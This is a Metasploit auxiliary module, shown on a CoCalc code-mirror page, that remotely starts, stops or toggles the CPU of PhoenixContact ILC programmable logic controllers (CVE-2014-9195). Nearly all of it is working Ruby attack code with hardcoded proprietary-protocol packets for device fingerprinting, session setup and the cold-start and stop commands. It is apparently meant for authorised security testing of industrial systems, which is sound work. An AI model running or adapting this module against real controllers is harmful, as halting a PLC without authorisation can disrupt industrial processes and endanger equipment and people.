CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/phoenix_command.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'PhoenixContact PLC Remote START/STOP Command',
13
'Version' => '1',
14
'Description' => %q{
15
PhoenixContact Programmable Logic Controllers are built upon a variant of
16
ProConOS. Communicating using a proprietary protocol over ports TCP/1962
17
and TCP/41100 or TCP/20547.
18
It allows a remote user to read out the PLC Type, Firmware and
19
Build number on port TCP/1962.
20
And also to read out the CPU State (Running or Stopped) AND start
21
or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)
22
or on port TCP/20547 (confirmed ILC 39x series)
23
},
24
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ],
29
[ 'CVE', '2014-9195']
30
],
31
'DisclosureDate' => '2015-05-20'))
32
register_options(
33
[
34
OptEnum.new('ACTION', [true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP',
35
[
36
'STOP',
37
'START',
38
'REV',
39
'NOOP'
40
]]),
41
OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]),
42
OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ])
43
], self.class
44
)
45
end
46
47
# Here comes the code, hang on to your pants
48
def bin_to_hex(s)
49
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
50
end
51
52
def hex_to_bin(s)
53
s.scan(/../).map { |x| x.hex.chr }.join
54
end
55
56
def send_recv_once(data)
57
buf = ''
58
begin
59
sock.put(data)
60
buf = sock.get_once || ''
61
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
62
elog(e)
63
end
64
65
bin_to_hex(buf)
66
end
67
68
def get_info(rhost, rport)
69
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
70
data = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")
71
if data.nil? || data.length < 36
72
print_error("Could not obtain information on this device")
73
disconnect
74
return "UNKNOWN"
75
end
76
code = data[34..35]
77
send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00")
78
data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00")
79
disconnect
80
if data.nil? || data.length < 200
81
print_error("Could not obtain information on this device")
82
return "UNKNOWN"
83
end
84
plctype = hex_to_bin(data[60..99])
85
print_status("PLC Type = " + plctype)
86
print_status("Firmware = " + hex_to_bin(data[132..139]))
87
print_status("Build = " + hex_to_bin(data[158..174]) + " " + hex_to_bin(data[182..199]))
88
print_status('------------------------------------')
89
plctype
90
end
91
92
def init_phase1
93
send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
94
send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
95
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
96
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
97
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
98
send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\xd9\xffAde.Remoting.Services.IForceService2\x00")
99
send_recv_once("\x01\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IForceService\x00")
100
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
101
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
102
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
103
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
104
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService3\x00")
105
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
106
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService2\x00")
107
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\xd5\xffAde.Remoting.Services.IBreakpointService\x00")
108
send_recv_once("\x01\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xd6\xffAde.Remoting.Services.ICallstackService\x00")
109
send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDebugService2\x00")
110
send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
111
send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
112
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
113
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
114
send_recv_once("\x01\x00\x02\x00\x00\x00\x0e\x00\x03\x00\x03\x00\x00\x00\x00\x00\x05\x00\x00\x00\x12@\x13@\x13\x00\x11@\x12\x00")
115
end
116
117
def init_phase2
118
send_recv_once("\xcc\x01\x00\r\xc0\x01\x00\x00\xd5\x17")
119
send_recv_once("\xcc\x01\x00\x0b@\x02\x00\x00G\xee")
120
send_recv_once("\xcc\x01\x00[@\x03\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\x9a")
121
send_recv_once("\xcc\x01\x00[@\x04\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeaC")
122
send_recv_once("\xcc\x01\x00\x06@\x05\x00\x006\x1e")
123
send_recv_once("\xcc\x01\x00\x07@\x06\x10\x00&u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x82")
124
end
125
126
def get_state1(data)
127
if data[48..49] == '03'
128
state = 'RUN'
129
elsif data[48..49] == '07'
130
state = 'STOP'
131
elsif data[49..49] == '00'
132
state = 'ON'
133
else
134
print_error('CPU State not detected, full result is ' + data)
135
return
136
end
137
state
138
end
139
140
def get_state2(data)
141
if data[16..17] == '04'
142
state = 'STOP'
143
elsif data[16..17] == '02'
144
state = 'RUN'
145
else
146
print_error('CPU State not detected, full result is ' + data)
147
return
148
end
149
state
150
end
151
152
def get_cpu(rhost, rport, devicetype)
153
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
154
state = 'unknown'
155
if devicetype == '15x'
156
init_phase1
157
## KeepAlive packet
158
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
159
## Query packet
160
data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")
161
state = get_state1(data)
162
elsif devicetype == '39x'
163
init_phase2
164
data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")
165
state = get_state2(data)
166
end
167
disconnect
168
print_status('CPU Mode = ' + state)
169
state
170
end
171
172
def set_cpu(rhost, rport, action, state, devicetype)
173
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
174
if devicetype == '15x'
175
init_phase1 ## Several packets (21)
176
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
177
if action == 'START' || (action == 'REV' && state == 'STOP')
178
print_status('--> Sending COLD start now')
179
send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00")
180
else
181
print_status('--> Sending STOP now')
182
send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")
183
end
184
elsif devicetype == '39x'
185
init_phase2 ## Several packets (6)
186
if action == 'START' || (action == 'REV' && state == 'STOP')
187
print_status('--> Sending COLD start now')
188
send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21")
189
else
190
print_status('--> Sending STOP now')
191
send_recv_once("\xcc\x01\x00\x01\x40\x0e\x00\x00\x4c\x07")
192
end
193
else
194
print_error('Unknown device type')
195
return
196
end
197
sleep(1) ## It takes a second for a PLC to start
198
get_cpu(rhost, rport, devicetype)
199
disconnect
200
end
201
202
def run
203
rhost = datastore['RHOST']
204
action = datastore['ACTION']
205
ractionport = datastore['RPORT']
206
207
device = get_info(rhost, datastore['RINFOPORT'])
208
209
if device.start_with?('ILC 15', 'ILC 17')
210
devicetype = '15x'
211
print_status('--> Detected 15x/17x series, getting current CPU state:')
212
ractionport.nil? ? (rport = 41100) : (rport = ractionport)
213
elsif device.start_with?('ILC 39')
214
devicetype = '39x'
215
print_status('--> Detected 39x series, getting current CPU state:')
216
ractionport.nil? ? (rport = 20547) : (rport = ractionport)
217
else
218
print_error('Only ILC and (some) RFC devices are supported.')
219
return
220
end
221
222
state = get_cpu(rhost, rport, devicetype)
223
print_status('------------------------------------')
224
225
if action == "NOOP"
226
print_status("--> No action specified (#{action}), stopping here")
227
return
228
end
229
230
set_cpu(rhost, rport, action, state, devicetype)
231
end
232
end
233
234